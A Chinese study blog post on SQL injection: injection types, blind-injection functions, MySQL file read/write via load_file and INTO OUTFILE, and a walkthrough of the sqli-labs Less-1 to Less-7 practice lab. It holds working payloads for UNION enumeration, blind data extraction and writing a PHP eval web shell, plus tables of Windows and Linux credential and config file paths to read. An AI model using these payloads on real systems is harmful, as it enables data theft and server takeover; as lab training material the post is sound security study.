SQL注入分级通关
零、还在学习,随缘更新
一、基础知识
1. 注入的分类
1)基于从服务器接收到的响应
① 基于错误的 SQL 注入
② 联合查询的类型
③ 堆查询注射
④ SQL 盲注
盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
a. 基于布尔 SQL 盲注
构造逻辑判断
思路就是截取查询结果字符串,通过逐个对比,验证返回结果是什么
- mid()函数
此函数为截取字符串一部分
mid(column_name,start [,length])
length如果省略,则返回剩余文本
mid(DATABASE(),1,1)>’a’
,查看数据库名第一位,mid(DATABASE(),2,1)
查看数据库名第二位,依次查看各位字符。
mid((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=*xxxxxxx* LIMIT 0,1),1,1)>’a’
此处column_name参数可以为sql语句,可自行构造sql语句进行注入 - substr()函数
string substr(string, start, length)
- left()函数
left()得到字符串左部指定个数的字符
left(string, n)
string为要截取的字符串,n为长度
left(database(),1)>’a’
- ord()函数
返回第一个字符的ASCII码
ord(mid(DATABASE(),1,1))>114
意为检测database()的第一位ASCII码是否大于114,也即是‘r’ - 正则表达式
正则注入介绍
用法介绍:select user() regexp '^[a-z]'
- like 匹配注入
select user() like 'ro%'
b. 基于时间的 SQL 盲注
c. 基于报错的 SQL 盲注
构造 payload 让信息通过错误提示回显出来
2)基于如何处理输入的 SQL 查询(数据类型)
① 基于字符串
② 数字或整数为基础的
3)基于程度和顺序的注入(哪里发生了影响)
① 一阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果
② 二阶注射
二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害
4)基于注入点的位置上的
① 通过用户输入的表单域的注射
② 通过 cookie 注射
③ 通过服务器变量注射(基于头部信息的注射)
5)导入导出相关操作
① load_file()导出文件
load_file(file_name):读取文件并以一个字符串的形式返回该文件的内容
使用条件:
a. 必须有权限读取且文件可读
and (select count(*) from mysql.user)>0/*
如果结果返回正常,说明具有读写权限
如果返回错误,说明数据看账户权限不够
b. 读取的文件必须在服务器上
c.必须指定文件的完整路径
d.读取文件大小小于max_allowed_packet
在实战中,有两个难点需要解决:绝对物理路径、构造有效的畸形语句
在很多php程序中,当提交一个错误的查询语句且display_errors=on时,程序就会返回WEB目录的绝对路径
常用路径见附录一
示例:
hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
load_file(0x633a2f626f6f742e696e69)
load_file(c:\\boot.ini)
② 文件导入到数据库
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必 须为一个文字字符串
在注入过程中,往往需要一些特殊的文件,比如配置文件,密码文件等
当具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中
③ 导入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中
该文件被创建到服务器主机上,因此必须拥有 FILE 权限,才能使用此语法
file_name 不能是一个已经存在的文件
一般有两种利用形式
a. 直接将 select 内容导入到文件中
Select <?php @eval($_post[“mima”])?> into outfile "c:\\phpnow\\htdocs\\test.php"
select 内容中不仅仅是可以上传一句话,也可以上传很多的内容
b. 修改文件结尾
select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
通常是用‘\r\n’结尾,此处修改为自己想要的任何文件
同时可以用 FIELDS TERMINATED BY
16 进制可以为一句话或者其他任何的代码,可自行构造
2. 常见函数
1)系统函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
2)字符串函数
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
3. 一般尝试语句
or 1=1--+
' or 1=1--+
" or 1=1--+
) or 1=1--+
') or 1=1--+
") or 1=1--+
")) or 1=1--+
为啥用 --+
--, 和 # 在SQL中表示注释
SQL中--后一定要有空格才可以注释, 不加空格会报错
URL中#不会被请求
URL中+会被转换成空格
二、环境配置
实验平台Sqli-labs下载
Apache 2.4.39
MySQL 5.7.26
PHP 5.6.9(使用7x版本会有问题)
使用phpstudy在Windows平台部署
修改数据库配置
访问127.0.0.1\sqli
并配置数据库后即可使用
由于Windows不区分文件大小写,因此Less-24和Less-40的Logged-in.php和logged-in.php会被识别为同名文件
需要手动开启Windows文件大小写区分
开启(只对单个文件夹有效)
fsutil.exe file SetCaseSensitiveInfo D:\Target\phpstudy_pro\WWW\sqli-labs-master\Less-24 enable
关闭(只对单个文件夹有效)
fsutil.exe file SetCaseSensitiveInfo D:\Target\phpstudy_pro\WWW\sqli-labs-master\Less-24 disable
三、分级通关
Less-1
1)注入过程
提示:GET - Error based - Single quotes - String
尝试使用?id=1' or 1=1--+
2)源码分析
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看出id数据类型是String
构造的SQL语句为:
SELECT * FROM users WHERE id='1' or 1=1--+' LIMIT 0,1
感觉没密码验证怪怪的,其实括号里随便填就个数字就行啊
3)学习提高
尝试使用?id=1' order by 4--+
,得知只有三列,为之后union查询做铺垫
根据MySQL的特性
尝试使用?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
,得知有哪些database
尝试使用?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
,得知有哪些table
尝试使用
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
,得知有哪些column
这个方法在Less-1到Less-4都能用
Less-2
1)注入过程
提示:GET - Error based - Intiger based
尝试Lees-1注入方法?id=1' or 1=1--+
多了一个单引号
尝试?id=1 or 1=1--+
2)源码分析
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
与Less-1不同,Less-2的id的数据类型是整数
构造的SQL语句为
SELECT * FROM users WHERE id=1 or 1=1--+' LIMIT 0,1
Less-3
1)注入过程
提示:GET - Error based - Single quotes with twist - string
有Less-1和Less-2的经验
尝试?id=1') or 1=1--+
2)源码分析
$id=$_GET['id'];
"SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造的SQL语句
SELECT * FROM users WHERE id=('1') or 1=1--+'')LIMIT 0,1
Less-4
1)注入过程
提示:GET - Error based - Double Quotes - String
尝试?id=1") or 1=1--+
2)源码分析
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造的SQL语句
SELECT * FROM users WHERE id=("1") or 1=1--+'')LIMIT 0,1
Less-5
1)注入过程
提示:GET - Double Injection - Single Quotes - String
尝试?id=1‘ or 1=1--+
没有返回有效信息,需要盲注
尝试?id=1'and left(version(),1)=5--+
注意:
单引号在url里解析为%27
如果未解析成%27可能会出错
此时可以手动输入%27
尝试?id=1'and left(version(),1)=4--+
可以得知mysql的版本是5
事实也确实如此
尝试?id=1'and length(database())=8--+
得知数据库名称长度为8,接下来可以尝试得到数据名称
尝试?id=1'and left(database(),1)>'s'--+
和?id=1'and left(database(),1)>'r'--+
得知数据库首字母为s
依次猜测后边七个字母,得到数据库名称为security
除了left,还可以用substr函数
尝试?id=1'and substr(database(),1,1)>'s'--+
和?id=1'and substr(database(),1,1)>'r'--+
亦能得到相同结论
回顾Less-1学习提高部分,我们通过搜索information_schema得到了整个数据库的信息,这里也可以通过这种方法得到其他数据库信息
尝试?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
也可以使用正则表达式
尝试?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
得知有username列
利用 ord()和 mid()函数获取 users 表的内容
尝试?id=1'and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
IFNULL(expr1,expr2)用法
假如expr1不为NULL,则 IFNULL() 的返回值为expr1; 否则其返回值为 expr2
Cast(字段名 as 转换的类型)
2)源码分析
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造的SQL语句
SELECT * FROM users WHERE id=("1") or 1=1--+'')LIMIT 0,1
Less-6
1)注入过程
和Less-5相同,把单引号换成双引号即可
2)源码分析
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
把单引号换成双引号
Less-7
1)注入过程
尝试?id=1'))--+
提示用outfile
尝试?id=1')) union select 1,2,3 into outfile "D:\\Target\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\out.txt"--+
发现并没有out.txt文件生成
mysql secure_file_priv对读写文件有影响
默认值为null,不允许导入导出
Windows需要修改my.ini 在[mysqld]中加入secure_file_priv=
Linux需要修改my.cnf 在[mysqld]中加入secure_file_priv=
此时secure_file_priv没有具体的值,表示不做限制
修改后即可生成out.txt
附录一
Windows常见路径
路径 | 说明 |
---|---|
c:/boot.ini | 查看系统版本 |
c:/windows/php.ini | php配置信息 |
c:/windows/my.ini | MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 |
c:/winnt/php.ini | |
c:/winnt/my.ini | |
c:\mysql\data\mysql\user.MYD | 存储了mysql.user表中的数据库连接密码 |
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini | 存储了虚拟主机网站路径和密码 |
c:\Program Files\Serv-U\ServUDaemon.ini | |
c:\windows\system32\inetsrv\MetaBase.xml | 查看IIS的虚拟主机配置 |
c:\windows\repair\sam | 存储了WINDOWS系统初次安装的密码 |
c:\Program Files\ Serv-U\ServUAdmin.exe | 6.0版本以前的serv-u管理员密码存储于此 |
c:\Program Files\RhinoSoft.com\ServUDaemon.exe | |
c:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件 | 存储了pcAnywhere的登陆密码 |
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf | 查看WINDOWS系统apache文件 |
c:/Resin-3.0.14/conf/resin.conf | 查看jsp开发的网站 resin文件配置信息. |
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf | 查看linux系统配置的JSP虚拟主机 |
d:\APACHE\Apache2\conf\httpd.conf | |
c:\Program Files\mysql\my.ini | |
c:\mysql\data\mysql\user.MYD | 存在MYSQL系统中的用户密码 |
LUNIX/UNIX常见路径
路径 | 说明 |
---|---|
usr/local/app/apache2/conf/httpd.conf | apache2缺省配置文件 |
/usr/local/apache2/conf/httpd.conf | |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | 虚拟网站设置 |
/usr/local/app/php5/lib/php.ini | PHP相关设置 |
/etc/sysconfig/iptables | 从中得到防火墙规则策略 |
/etc/httpd/conf/httpd.conf | apache配置文件 |
/etc/rsyncd.conf | 同步程序配置文件 |
/etc/my.cnf | mysql的配置文件 |
/etc/redhat-release | 系统版本 |
/etc/issue | |
/etc/issue.net | |
/usr/local/app/php5/lib/php.ini | PHP相关设置 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | 虚拟网站设置 |
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf | 查看linux APACHE虚拟主机配置文件 |
/usr/local/resin-3.0.22/conf/resin.conf | 针对3.0.22的RESIN配置文件查看 |
/usr/local/resin-pro-3.0.22/conf/resin.conf | 同上 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | APASHE虚拟主机查看 |
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf | 查看linux APACHE虚拟主机配置文件 |
/usr/local/resin-3.0.22/conf/resin.conf | 针对3.0.22的RESIN配置文件查看 |
/usr/local/resin-pro-3.0.22/conf/resin.conf | 同上 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | APASHE虚拟主机查看 |
/etc/sysonfig/iptables | 查看防火墙策略 |